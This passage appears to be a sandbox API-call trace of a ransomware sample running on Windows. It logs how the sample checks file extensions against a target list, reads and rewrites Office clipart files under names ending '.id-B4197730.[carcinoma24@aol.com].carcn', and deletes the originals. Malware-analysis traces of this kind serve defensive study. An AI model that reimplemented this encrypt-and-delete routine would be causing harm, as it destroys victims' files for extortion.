(lpString=".7z") returned 3 [0270.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.387] lstrlenW (lpString=".dbf") returned 4 [0270.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.387] lstrlenW (lpString=".1cd") returned 4 [0270.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.387] lstrlenW (lpString=".jpg") returned 4 [0270.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.388] lstrlenW (lpString=".doc") returned 4 [0270.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.388] lstrlenW (lpString=".docx") returned 5 [0270.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.388] lstrlenW (lpString=".pdf") returned 4 [0270.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.388] lstrlenW (lpString=".xls") returned 4 [0270.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.388] lstrlenW (lpString=".xlsx") returned 5 [0270.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.388] lstrlenW (lpString=".ppt") returned 4 [0270.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.388] lstrlenW (lpString=".zip") returned 4 [0270.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.388] lstrlenW (lpString=".rar") returned 4 [0270.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.388] lstrlenW (lpString=".bz2") returned 4 [0270.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.388] lstrlenW (lpString=".7z") returned 3 [0270.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.389] lstrlenW (lpString=".dbf") returned 4 [0270.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.389] lstrlenW (lpString=".1cd") returned 4 [0270.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.389] lstrlenW (lpString=".jpg") returned 4 [0270.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.389] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.389] lstrlenW (lpString="BS01637_.WMF") returned 12 [0270.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.082] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3948) returned 1 [0271.082] CloseHandle (hObject=0x370) returned 1 [0271.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0271.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.083] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.083] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0271.084] GetLastError () returned 0x0 [0271.084] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xf6c, lpOverlapped=0x0) returned 1 [0271.086] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf70, lpOverlapped=0x0) returned 1 [0271.087] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.087] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.087] SetEndOfFile (hFile=0x544) returned 1 [0271.088] CloseHandle (hObject=0x544) returned 1 [0271.088] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.088] SetEndOfFile (hFile=0x370) returned 1 [0271.092] CloseHandle (hObject=0x370) returned 1 [0271.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0271.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.093] lstrlenW (lpString=".doc") returned 4 [0271.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.093] lstrlenW (lpString=".docx") returned 5 [0271.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.093] lstrlenW (lpString=".pdf") returned 4 [0271.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.093] lstrlenW (lpString=".xls") returned 4 [0271.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.093] lstrlenW (lpString=".xlsx") returned 5 [0271.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.093] lstrlenW (lpString=".ppt") returned 4 [0271.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.093] lstrlenW (lpString=".zip") returned 4 [0271.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.094] lstrlenW (lpString=".rar") returned 4 [0271.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.094] lstrlenW (lpString=".bz2") returned 4 [0271.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.094] lstrlenW (lpString=".7z") returned 3 [0271.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.094] lstrlenW (lpString=".dbf") returned 4 [0271.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.094] lstrlenW (lpString=".1cd") returned 4 [0271.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.094] lstrlenW (lpString=".jpg") returned 4 [0271.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.094] lstrlenW (lpString=".doc") returned 4 [0271.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.094] lstrlenW (lpString=".docx") returned 5 [0271.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.094] lstrlenW (lpString=".pdf") returned 4 [0271.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.094] lstrlenW (lpString=".xls") returned 4 [0271.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.094] lstrlenW (lpString=".xlsx") returned 5 [0271.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.095] lstrlenW (lpString=".ppt") returned 4 [0271.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.095] lstrlenW (lpString=".zip") returned 4 [0271.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.095] lstrlenW (lpString=".rar") returned 4 [0271.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.095] lstrlenW (lpString=".bz2") returned 4 [0271.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.095] lstrlenW (lpString=".7z") returned 3 [0271.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.095] lstrlenW (lpString=".dbf") returned 4 [0271.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.095] lstrlenW (lpString=".1cd") returned 4 [0271.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0271.095] lstrlenW (lpString=".jpg") returned 4 [0271.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.095] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.095] lstrlenW (lpString="DD00121_.WMF") returned 12 [0271.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.097] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=8256) returned 1 [0271.097] CloseHandle (hObject=0x370) returned 1 [0271.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0271.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.098] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.098] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0271.099] GetLastError () returned 0x0 [0271.099] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2040, lpOverlapped=0x0) returned 1 [0271.126] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2050, lpOverlapped=0x0) returned 1 [0271.128] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.128] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.128] SetEndOfFile (hFile=0x544) returned 1 [0271.128] CloseHandle (hObject=0x544) returned 1 [0271.128] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.128] SetEndOfFile (hFile=0x370) returned 1 [0271.131] CloseHandle (hObject=0x370) returned 1 [0271.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0271.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.133] lstrlenW (lpString=".doc") returned 4 [0271.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.133] lstrlenW (lpString=".docx") returned 5 [0271.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.133] lstrlenW (lpString=".pdf") returned 4 [0271.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.133] lstrlenW (lpString=".xls") returned 4 [0271.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.133] lstrlenW (lpString=".xlsx") returned 5 [0271.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.133] lstrlenW (lpString=".ppt") returned 4 [0271.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.133] lstrlenW (lpString=".zip") returned 4 [0271.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.134] lstrlenW (lpString=".rar") returned 4 [0271.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.134] lstrlenW (lpString=".bz2") returned 4 [0271.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.134] lstrlenW (lpString=".7z") returned 3 [0271.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.134] lstrlenW (lpString=".dbf") returned 4 [0271.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.134] lstrlenW (lpString=".1cd") returned 4 [0271.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.134] lstrlenW (lpString=".jpg") returned 4 [0271.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.134] lstrlenW (lpString=".doc") returned 4 [0271.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.134] lstrlenW (lpString=".docx") returned 5 [0271.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.134] lstrlenW (lpString=".pdf") returned 4 [0271.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.135] lstrlenW (lpString=".xls") returned 4 [0271.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.135] lstrlenW (lpString=".xlsx") returned 5 [0271.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.135] lstrlenW (lpString=".ppt") returned 4 [0271.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.135] lstrlenW (lpString=".zip") returned 4 [0271.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.135] lstrlenW (lpString=".rar") returned 4 [0271.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.135] lstrlenW (lpString=".bz2") returned 4 [0271.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.135] lstrlenW (lpString=".7z") returned 3 [0271.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.135] lstrlenW (lpString=".dbf") returned 4 [0271.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.135] lstrlenW (lpString=".1cd") returned 4 [0271.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0271.135] lstrlenW (lpString=".jpg") returned 4 [0271.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.136] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.136] lstrlenW (lpString="DD00255_.WMF") returned 12 [0271.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.137] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2690) returned 1 [0271.138] CloseHandle (hObject=0x370) returned 1 [0271.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0271.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.139] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.139] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0271.140] GetLastError () returned 0x0 [0271.140] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xa82, lpOverlapped=0x0) returned 1 [0271.152] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xa90, lpOverlapped=0x0) returned 1 [0271.153] ReadFile (in: hFile=0x370, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.153] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.153] SetEndOfFile (hFile=0x544) returned 1 [0271.153] CloseHandle (hObject=0x544) returned 1 [0271.153] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.154] SetEndOfFile (hFile=0x370) returned 1 [0271.157] CloseHandle (hObject=0x370) returned 1 [0271.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0271.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.158] lstrlenW (lpString=".doc") returned 4 [0271.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.158] lstrlenW (lpString=".docx") returned 5 [0271.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.159] lstrlenW (lpString=".pdf") returned 4 [0271.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString=".xls") returned 4 [0271.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.159] lstrlenW (lpString=".xlsx") returned 5 [0271.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.159] lstrlenW (lpString=".ppt") returned 4 [0271.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.159] lstrlenW (lpString=".zip") returned 4 [0271.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.159] lstrlenW (lpString=".rar") returned 4 [0271.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString=".bz2") returned 4 [0271.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString=".7z") returned 3 [0271.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0271.159] lstrlenW (lpString=".dbf") returned 4 [0271.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.159] lstrlenW (lpString="C:\\Program Files\\Microsoft 